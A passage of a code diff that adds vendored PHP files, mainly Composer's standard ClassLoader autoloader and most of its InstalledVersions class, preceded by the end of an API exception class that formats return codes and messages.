$message = '['.$res['return_code'].']'.$res['return_msg'];
|
||||
} else {
|
||||
$message = '返回数据解析失败';
|
||||
}
|
||||
parent::__construct($message);
|
||||
}
|
||||
|
||||
public function getResponse(): array
|
||||
{
|
||||
return $this->res;
|
||||
}
|
||||
|
||||
public function getErrCode()
|
||||
{
|
||||
return $this->errCode;
|
||||
}
|
||||
}
|
||||
+579
@@ -0,0 +1,579 @@
|
||||
<?php
|
||||
|
||||
/*
|
||||
* This file is part of Composer.
|
||||
*
|
||||
* (c) Nils Adermann <naderman@naderman.de>
|
||||
* Jordi Boggiano <j.boggiano@seld.be>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace Composer\Autoload;
|
||||
|
||||
/**
|
||||
* ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
|
||||
*
|
||||
* $loader = new \Composer\Autoload\ClassLoader();
|
||||
*
|
||||
* // register classes with namespaces
|
||||
* $loader->add('Symfony\Component', __DIR__.'/component');
|
||||
* $loader->add('Symfony', __DIR__.'/framework');
|
||||
*
|
||||
* // activate the autoloader
|
||||
* $loader->register();
|
||||
*
|
||||
* // to enable searching the include path (eg. for PEAR packages)
|
||||
* $loader->setUseIncludePath(true);
|
||||
*
|
||||
* In this example, if you try to use a class in the Symfony\Component
|
||||
* namespace or one of its children (Symfony\Component\Console for instance),
|
||||
* the autoloader will first look for the class under the component/
|
||||
* directory, and it will then fallback to the framework/ directory if not
|
||||
* found before giving up.
|
||||
*
|
||||
* This class is loosely based on the Symfony UniversalClassLoader.
|
||||
*
|
||||
* @author Fabien Potencier <fabien@symfony.com>
|
||||
* @author Jordi Boggiano <j.boggiano@seld.be>
|
||||
* @see https://www.php-fig.org/psr/psr-0/
|
||||
* @see https://www.php-fig.org/psr/psr-4/
|
||||
*/
|
||||
class ClassLoader
|
||||
{
|
||||
/** @var \Closure(string):void */
|
||||
private static $includeFile;
|
||||
|
||||
/** @var string|null */
|
||||
private $vendorDir;
|
||||
|
||||
// PSR-4
|
||||
/**
|
||||
* @var array<string, array<string, int>>
|
||||
*/
|
||||
private $prefixLengthsPsr4 = array();
|
||||
/**
|
||||
* @var array<string, list<string>>
|
||||
*/
|
||||
private $prefixDirsPsr4 = array();
|
||||
/**
|
||||
* @var list<string>
|
||||
*/
|
||||
private $fallbackDirsPsr4 = array();
|
||||
|
||||
// PSR-0
|
||||
/**
|
||||
* List of PSR-0 prefixes
|
||||
*
|
||||
* Structured as array('F (first letter)' => array('Foo\Bar (full prefix)' => array('path', 'path2')))
|
||||
*
|
||||
* @var array<string, array<string, list<string>>>
|
||||
*/
|
||||
private $prefixesPsr0 = array();
|
||||
/**
|
||||
* @var list<string>
|
||||
*/
|
||||
private $fallbackDirsPsr0 = array();
|
||||
|
||||
/** @var bool */
|
||||
private $useIncludePath = false;
|
||||
|
||||
/**
|
||||
* @var array<string, string>
|
||||
*/
|
||||
private $classMap = array();
|
||||
|
||||
/** @var bool */
|
||||
private $classMapAuthoritative = false;
|
||||
|
||||
/**
|
||||
* @var array<string, bool>
|
||||
*/
|
||||
private $missingClasses = array();
|
||||
|
||||
/** @var string|null */
|
||||
private $apcuPrefix;
|
||||
|
||||
/**
|
||||
* @var array<string, self>
|
||||
*/
|
||||
private static $registeredLoaders = array();
|
||||
|
||||
/**
|
||||
* @param string|null $vendorDir
|
||||
*/
|
||||
public function __construct($vendorDir = null)
|
||||
{
|
||||
$this->vendorDir = $vendorDir;
|
||||
self::initializeIncludeClosure();
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, list<string>>
|
||||
*/
|
||||
public function getPrefixes()
|
||||
{
|
||||
if (!empty($this->prefixesPsr0)) {
|
||||
return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
|
||||
}
|
||||
|
||||
return array();
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, list<string>>
|
||||
*/
|
||||
public function getPrefixesPsr4()
|
||||
{
|
||||
return $this->prefixDirsPsr4;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function getFallbackDirs()
|
||||
{
|
||||
return $this->fallbackDirsPsr0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function getFallbackDirsPsr4()
|
||||
{
|
||||
return $this->fallbackDirsPsr4;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, string> Array of classname => path
|
||||
*/
|
||||
public function getClassMap()
|
||||
{
|
||||
return $this->classMap;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, string> $classMap Class to filename map
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function addClassMap(array $classMap)
|
||||
{
|
||||
if ($this->classMap) {
|
||||
$this->classMap = array_merge($this->classMap, $classMap);
|
||||
} else {
|
||||
$this->classMap = $classMap;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Registers a set of PSR-0 directories for a given prefix, either
|
||||
* appending or prepending to the ones previously set for this prefix.
|
||||
*
|
||||
* @param string $prefix The prefix
|
||||
* @param list<string>|string $paths The PSR-0 root directories
|
||||
* @param bool $prepend Whether to prepend the directories
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function add($prefix, $paths, $prepend = false)
|
||||
{
|
||||
$paths = (array) $paths;
|
||||
if (!$prefix) {
|
||||
if ($prepend) {
|
||||
$this->fallbackDirsPsr0 = array_merge(
|
||||
$paths,
|
||||
$this->fallbackDirsPsr0
|
||||
);
|
||||
} else {
|
||||
$this->fallbackDirsPsr0 = array_merge(
|
||||
$this->fallbackDirsPsr0,
|
||||
$paths
|
||||
);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$first = $prefix[0];
|
||||
if (!isset($this->prefixesPsr0[$first][$prefix])) {
|
||||
$this->prefixesPsr0[$first][$prefix] = $paths;
|
||||
|
||||
return;
|
||||
}
|
||||
if ($prepend) {
|
||||
$this->prefixesPsr0[$first][$prefix] = array_merge(
|
||||
$paths,
|
||||
$this->prefixesPsr0[$first][$prefix]
|
||||
);
|
||||
} else {
|
||||
$this->prefixesPsr0[$first][$prefix] = array_merge(
|
||||
$this->prefixesPsr0[$first][$prefix],
|
||||
$paths
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Registers a set of PSR-4 directories for a given namespace, either
|
||||
* appending or prepending to the ones previously set for this namespace.
|
||||
*
|
||||
* @param string $prefix The prefix/namespace, with trailing '\\'
|
||||
* @param list<string>|string $paths The PSR-4 base directories
|
||||
* @param bool $prepend Whether to prepend the directories
|
||||
*
|
||||
* @throws \InvalidArgumentException
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function addPsr4($prefix, $paths, $prepend = false)
|
||||
{
|
||||
$paths = (array) $paths;
|
||||
if (!$prefix) {
|
||||
// Register directories for the root namespace.
|
||||
if ($prepend) {
|
||||
$this->fallbackDirsPsr4 = array_merge(
|
||||
$paths,
|
||||
$this->fallbackDirsPsr4
|
||||
);
|
||||
} else {
|
||||
$this->fallbackDirsPsr4 = array_merge(
|
||||
$this->fallbackDirsPsr4,
|
||||
$paths
|
||||
);
|
||||
}
|
||||
} elseif (!isset($this->prefixDirsPsr4[$prefix])) {
|
||||
// Register directories for a new namespace.
|
||||
$length = strlen($prefix);
|
||||
if ('\\' !== $prefix[$length - 1]) {
|
||||
throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
|
||||
}
|
||||
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
|
||||
$this->prefixDirsPsr4[$prefix] = $paths;
|
||||
} elseif ($prepend) {
|
||||
// Prepend directories for an already registered namespace.
|
||||
$this->prefixDirsPsr4[$prefix] = array_merge(
|
||||
$paths,
|
||||
$this->prefixDirsPsr4[$prefix]
|
||||
);
|
||||
} else {
|
||||
// Append directories for an already registered namespace.
|
||||
$this->prefixDirsPsr4[$prefix] = array_merge(
|
||||
$this->prefixDirsPsr4[$prefix],
|
||||
$paths
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Registers a set of PSR-0 directories for a given prefix,
|
||||
* replacing any others previously set for this prefix.
|
||||
*
|
||||
* @param string $prefix The prefix
|
||||
* @param list<string>|string $paths The PSR-0 base directories
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function set($prefix, $paths)
|
||||
{
|
||||
if (!$prefix) {
|
||||
$this->fallbackDirsPsr0 = (array) $paths;
|
||||
} else {
|
||||
$this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Registers a set of PSR-4 directories for a given namespace,
|
||||
* replacing any others previously set for this namespace.
|
||||
*
|
||||
* @param string $prefix The prefix/namespace, with trailing '\\'
|
||||
* @param list<string>|string $paths The PSR-4 base directories
|
||||
*
|
||||
* @throws \InvalidArgumentException
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function setPsr4($prefix, $paths)
|
||||
{
|
||||
if (!$prefix) {
|
||||
$this->fallbackDirsPsr4 = (array) $paths;
|
||||
} else {
|
||||
$length = strlen($prefix);
|
||||
if ('\\' !== $prefix[$length - 1]) {
|
||||
throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
|
||||
}
|
||||
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
|
||||
$this->prefixDirsPsr4[$prefix] = (array) $paths;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Turns on searching the include path for class files.
|
||||
*
|
||||
* @param bool $useIncludePath
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function setUseIncludePath($useIncludePath)
|
||||
{
|
||||
$this->useIncludePath = $useIncludePath;
|
||||
}
|
||||
|
||||
/**
|
||||
* Can be used to check if the autoloader uses the include path to check
|
||||
* for classes.
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function getUseIncludePath()
|
||||
{
|
||||
return $this->useIncludePath;
|
||||
}
|
||||
|
||||
/**
|
||||
* Turns off searching the prefix and fallback directories for classes
|
||||
* that have not been registered with the class map.
|
||||
*
|
||||
* @param bool $classMapAuthoritative
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function setClassMapAuthoritative($classMapAuthoritative)
|
||||
{
|
||||
$this->classMapAuthoritative = $classMapAuthoritative;
|
||||
}
|
||||
|
||||
/**
|
||||
* Should class lookup fail if not found in the current class map?
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function isClassMapAuthoritative()
|
||||
{
|
||||
return $this->classMapAuthoritative;
|
||||
}
|
||||
|
||||
/**
|
||||
* APCu prefix to use to cache found/not-found classes, if the extension is enabled.
|
||||
*
|
||||
* @param string|null $apcuPrefix
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function setApcuPrefix($apcuPrefix)
|
||||
{
|
||||
$this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* The APCu prefix in use, or null if APCu caching is not enabled.
|
||||
*
|
||||
* @return string|null
|
||||
*/
|
||||
public function getApcuPrefix()
|
||||
{
|
||||
return $this->apcuPrefix;
|
||||
}
|
||||
|
||||
/**
|
||||
* Registers this instance as an autoloader.
|
||||
*
|
||||
* @param bool $prepend Whether to prepend the autoloader or not
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function register($prepend = false)
|
||||
{
|
||||
spl_autoload_register(array($this, 'loadClass'), true, $prepend);
|
||||
|
||||
if (null === $this->vendorDir) {
|
||||
return;
|
||||
}
|
||||
|
||||
if ($prepend) {
|
||||
self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
|
||||
} else {
|
||||
unset(self::$registeredLoaders[$this->vendorDir]);
|
||||
self::$registeredLoaders[$this->vendorDir] = $this;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Unregisters this instance as an autoloader.
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function unregister()
|
||||
{
|
||||
spl_autoload_unregister(array($this, 'loadClass'));
|
||||
|
||||
if (null !== $this->vendorDir) {
|
||||
unset(self::$registeredLoaders[$this->vendorDir]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Loads the given class or interface.
|
||||
*
|
||||
* @param string $class The name of the class
|
||||
* @return true|null True if loaded, null otherwise
|
||||
*/
|
||||
public function loadClass($class)
|
||||
{
|
||||
if ($file = $this->findFile($class)) {
|
||||
$includeFile = self::$includeFile;
|
||||
$includeFile($file);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Finds the path to the file where the class is defined.
|
||||
*
|
||||
* @param string $class The name of the class
|
||||
*
|
||||
* @return string|false The path if found, false otherwise
|
||||
*/
|
||||
public function findFile($class)
|
||||
{
|
||||
// class map lookup
|
||||
if (isset($this->classMap[$class])) {
|
||||
return $this->classMap[$class];
|
||||
}
|
||||
if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
|
||||
return false;
|
||||
}
|
||||
if (null !== $this->apcuPrefix) {
|
||||
$file = apcu_fetch($this->apcuPrefix.$class, $hit);
|
||||
if ($hit) {
|
||||
return $file;
|
||||
}
|
||||
}
|
||||
|
||||
$file = $this->findFileWithExtension($class, '.php');
|
||||
|
||||
// Search for Hack files if we are running on HHVM
|
||||
if (false === $file && defined('HHVM_VERSION')) {
|
||||
$file = $this->findFileWithExtension($class, '.hh');
|
||||
}
|
||||
|
||||
if (null !== $this->apcuPrefix) {
|
||||
apcu_add($this->apcuPrefix.$class, $file);
|
||||
}
|
||||
|
||||
if (false === $file) {
|
||||
// Remember that this class does not exist.
|
||||
$this->missingClasses[$class] = true;
|
||||
}
|
||||
|
||||
return $file;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the currently registered loaders keyed by their corresponding vendor directories.
|
||||
*
|
||||
* @return array<string, self>
|
||||
*/
|
||||
public static function getRegisteredLoaders()
|
||||
{
|
||||
return self::$registeredLoaders;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $class
|
||||
* @param string $ext
|
||||
* @return string|false
|
||||
*/
|
||||
private function findFileWithExtension($class, $ext)
|
||||
{
|
||||
// PSR-4 lookup
|
||||
$logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;
|
||||
|
||||
$first = $class[0];
|
||||
if (isset($this->prefixLengthsPsr4[$first])) {
|
||||
$subPath = $class;
|
||||
while (false !== $lastPos = strrpos($subPath, '\\')) {
|
||||
$subPath = substr($subPath, 0, $lastPos);
|
||||
$search = $subPath . '\\';
|
||||
if (isset($this->prefixDirsPsr4[$search])) {
|
||||
$pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
|
||||
foreach ($this->prefixDirsPsr4[$search] as $dir) {
|
||||
if (file_exists($file = $dir . $pathEnd)) {
|
||||
return $file;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PSR-4 fallback dirs
|
||||
foreach ($this->fallbackDirsPsr4 as $dir) {
|
||||
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
|
||||
return $file;
|
||||
}
|
||||
}
|
||||
|
||||
// PSR-0 lookup
|
||||
if (false !== $pos = strrpos($class, '\\')) {
|
||||
// namespaced class name
|
||||
$logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
|
||||
. strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
|
||||
} else {
|
||||
// PEAR-like class name
|
||||
$logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
|
||||
}
|
||||
|
||||
if (isset($this->prefixesPsr0[$first])) {
|
||||
foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
|
||||
if (0 === strpos($class, $prefix)) {
|
||||
foreach ($dirs as $dir) {
|
||||
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
|
||||
return $file;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PSR-0 fallback dirs
|
||||
foreach ($this->fallbackDirsPsr0 as $dir) {
|
||||
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
|
||||
return $file;
|
||||
}
|
||||
}
|
||||
|
||||
// PSR-0 include paths.
|
||||
if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
|
||||
return $file;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return void
|
||||
*/
|
||||
private static function initializeIncludeClosure()
|
||||
{
|
||||
if (self::$includeFile !== null) {
|
||||
return;
|
||||
}
|
||||
|
||||
/**
|
||||
* Scope isolated include.
|
||||
*
|
||||
* Prevents access to $this/self from included files.
|
||||
*
|
||||
* @param string $file
|
||||
* @return void
|
||||
*/
|
||||
self::$includeFile = \Closure::bind(static function($file) {
|
||||
include $file;
|
||||
}, null, null);
|
||||
}
|
||||
}
|
||||
+359
@@ -0,0 +1,359 @@
|
||||
<?php
|
||||
|
||||
/*
|
||||
* This file is part of Composer.
|
||||
*
|
||||
* (c) Nils Adermann <naderman@naderman.de>
|
||||
* Jordi Boggiano <j.boggiano@seld.be>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace Composer;
|
||||
|
||||
use Composer\Autoload\ClassLoader;
|
||||
use Composer\Semver\VersionParser;
|
||||
|
||||
/**
|
||||
* This class is copied in every Composer installed project and available to all
|
||||
*
|
||||
* See also https://getcomposer.org/doc/07-runtime.md#installed-versions
|
||||
*
|
||||
* To require its presence, you can require `composer-runtime-api ^2.0`
|
||||
*
|
||||
* @final
|
||||
*/
|
||||
class InstalledVersions
|
||||
{
|
||||
/**
|
||||
* @var mixed[]|null
|
||||
* @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
|
||||
*/
|
||||
private static $installed;
|
||||
|
||||
/**
|
||||
* @var bool|null
|
||||
*/
|
||||
private static $canGetVendors;
|
||||
|
||||
/**
|
||||
* @var array[]
|
||||
* @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
|
||||
*/
|
||||
private static $installedByVendor = array();
|
||||
|
||||
/**
|
||||
* Returns a list of all package names which are present, either by being installed, replaced or provided
|
||||
*
|
||||
* @return string[]
|
||||
* @psalm-return list<string>
|
||||
*/
|
||||
public static function getInstalledPackages()
|
||||
{
|
||||
$packages = array();
|
||||
foreach (self::getInstalled() as $installed) {
|
||||
$packages[] = array_keys($installed['versions']);
|
||||
}
|
||||
|
||||
if (1 === \count($packages)) {
|
||||
return $packages[0];
|
||||
}
|
||||
|
||||
return array_keys(array_flip(\call_user_func_array('array_merge', $packages)));
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns a list of all package names with a specific type e.g. 'library'
|
||||
*
|
||||
* @param string $type
|
||||
* @return string[]
|
||||
* @psalm-return list<string>
|
||||
*/
|
||||
public static function getInstalledPackagesByType($type)
|
||||
{
|
||||
$packagesByType = array();
|
||||
|
||||
foreach (self::getInstalled() as $installed) {
|
||||
foreach ($installed['versions'] as $name => $package) {
|
||||
if (isset($package['type']) && $package['type'] === $type) {
|
||||
$packagesByType[] = $name;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $packagesByType;
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks whether the given package is installed
|
||||
*
|
||||
* This also returns true if the package name is provided or replaced by another package
|
||||
*
|
||||
* @param string $packageName
|
||||
* @param bool $includeDevRequirements
|
||||
* @return bool
|
||||
*/
|
||||
public static function isInstalled($packageName, $includeDevRequirements = true)
|
||||
{
|
||||
foreach (self::getInstalled() as $installed) {
|
||||
if (isset($installed['versions'][$packageName])) {
|
||||
return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks whether the given package satisfies a version constraint
|
||||
*
|
||||
* e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call:
|
||||
*
|
||||
* Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3')
|
||||
*
|
||||
* @param VersionParser $parser Install composer/semver to have access to this class and functionality
|
||||
* @param string $packageName
|
||||
* @param string|null $constraint A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package
|
||||
* @return bool
|
||||
*/
|
||||
public static function satisfies(VersionParser $parser, $packageName, $constraint)
|
||||
{
|
||||
$constraint = $parser->parseConstraints((string) $constraint);
|
||||
$provided = $parser->parseConstraints(self::getVersionRanges($packageName));
|
||||
|
||||
return $provided->matches($constraint);
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns a version constraint representing all the range(s) which are installed for a given package
|
||||
*
|
||||
* It is easier to use this via isInstalled() with the $constraint argument if you need to check
|
||||
* whether a given version of a package is installed, and not just whether it exists
|
||||
*
|
||||
* @param string $packageName
|
||||
* @return string Version constraint usable with composer/semver
|
||||
*/
|
||||
public static function getVersionRanges($packageName)
|
||||
{
|
||||
foreach (self::getInstalled() as $installed) {
|
||||
if (!isset($installed['versions'][$packageName])) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$ranges = array();
|
||||
if (isset($installed['versions'][$packageName]['pretty_version'])) {
|
||||
$ranges[] = $installed['versions'][$packageName]['pretty_version'];
|
||||
}
|
||||
if (array_key_exists('aliases', $installed['versions'][$packageName])) {
|
||||
$ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
|
||||
}
|
||||
if (array_key_exists('replaced', $installed['versions'][$packageName])) {
|
||||
$ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
|
||||
}
|
||||
if (array_key_exists('provided', $installed['versions'][$packageName])) {
|
||||
$ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
|
||||
}
|
||||
|
||||
return implode(' || ', $ranges);
|
||||
}
|
||||
|
||||
throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $packageName
|
||||
* @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
|
||||
*/
|
||||
public static function getVersion($packageName)
|
||||
{
|
||||
foreach (self::getInstalled() as $installed) {
|
||||
if (!isset($installed['versions'][$packageName])) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!isset($installed['versions'][$packageName]['version'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $installed['versions'][$packageName]['version'];
|
||||
}
|
||||
|
||||
throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $packageName
|
||||
* @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
|
||||
*/
|
||||
public static function getPrettyVersion($packageName)
|
||||
{
|
||||
foreach (self::getInstalled() as $installed) {
|
||||
if (!isset($installed['versions'][$packageName])) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!isset($installed['versions'][$packageName]['pretty_version'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $installed['versions'][$packageName]['pretty_version'];
|
||||
}
|
||||
|
||||
throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $packageName
|
||||
* @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference
|
||||
*/
|
||||
public static function getReference($packageName)
|
||||
{
|
||||
foreach (self::getInstalled() as $installed) {
|
||||
if (!isset($installed['versions'][$packageName])) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!isset($installed['versions'][$packageName]['reference'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $installed['versions'][$packageName]['reference'];
|
||||
}
|
||||
|
||||
throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $packageName
|
||||
* @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path.
|
||||
*/
|
||||
public static function getInstallPath($packageName)
|
||||
{
|
||||
foreach (self::getInstalled() as $installed) {
|
||||
if (!isset($installed['versions'][$packageName])) {
|
||||
continue;
|
||||
}
|
||||
|
||||
return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null;
|
||||
}
|
||||
|
||||
throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array
|
||||
* @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}
|
||||
*/
|
||||
public static function getRootPackage()
|
||||
{
|
||||
$installed = self::getInstalled();
|
||||
|
||||
return $installed[0]['root'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the raw installed.php data for custom implementations
|
||||
*
|
||||
* @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
|
||||
* @return array[]
|
||||
* @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}
|
||||
*/
|
||||
public static function getRawData()
|
||||
{
|
||||
@trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED);
|
||||
|
||||
if (null === self::$installed) {
|
||||
// only require the installed.php file if this file is loaded from its dumped location,
|
||||
// and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
|
||||
if (substr(__DIR__, -8, 1) !== 'C') {
|
||||
self::$installed = include __DIR__ . '/installed.php';
|
||||
} else {
|
||||
self::$installed = array();
|
||||
}
|
||||
}
|
||||
|
||||
return self::$installed;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the raw data of all installed.php which are currently loaded for custom implementations
|
||||
*
|
||||
* @return array[]
|
||||
* @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
|
||||
*/
|
||||
public static function getAllRawData()
|
||||
{
|
||||
return self::getInstalled();
|
||||
}
|
||||
|
||||
/**
|
||||
* Lets you reload the static array from another file
|
||||
*
|
||||
* This is only useful for complex integrations in which a project needs to use
|
||||
* this class but then also needs to execute another project's autoloader in process,
|
||||
* and wants to ensure both projects have access to their version of installed.php.
|
||||
*
|
||||
* A typical case would be PHPUnit, where it would need to make sure it reads all
|
||||
* the data it needs from this class, then call reload() with
|
||||
* `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure
|
||||
* the project in which it runs can then also use this class safely, without
|
||||
* interference between PHPUnit's dependencies and the project's dependencies.
|
||||
*
|
||||
* @param array[] $data A vendor/composer/installed.php data set
|
||||
* @return void
|
||||
*
|
||||
* @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $data
|
||||
*/
|
||||
public static function reload($data)
|
||||
{
|
||||
self::$installed = $data;
|
||||
self::$installedByVendor = array();
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array[]
|
||||
* @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
|
||||
*/
|
||||
private static function getInstalled()
|
||||
{
|
||||
if (null === self::$canGetVendors) {
|
||||
self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders');
|
||||
}
|
||||
|
||||
$installed = array();
|
||||
|
||||
if (self::$canGetVendors) {
|
||||
foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
|
||||
if (isset(self::$installedByVendor[$vendorDir])) {
|
||||
$installed[] = self::$installedByVendor[$vendorDir];
|
||||
} elseif (is_file($vendorDir.'/composer/installed.php')) {
|
||||
/** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
|
||||
$required = require $vendorDir.'/composer/installed.php';
|
||||
$installed[] = self::$installedByVendor[$vendorDir] = $required;
|
||||
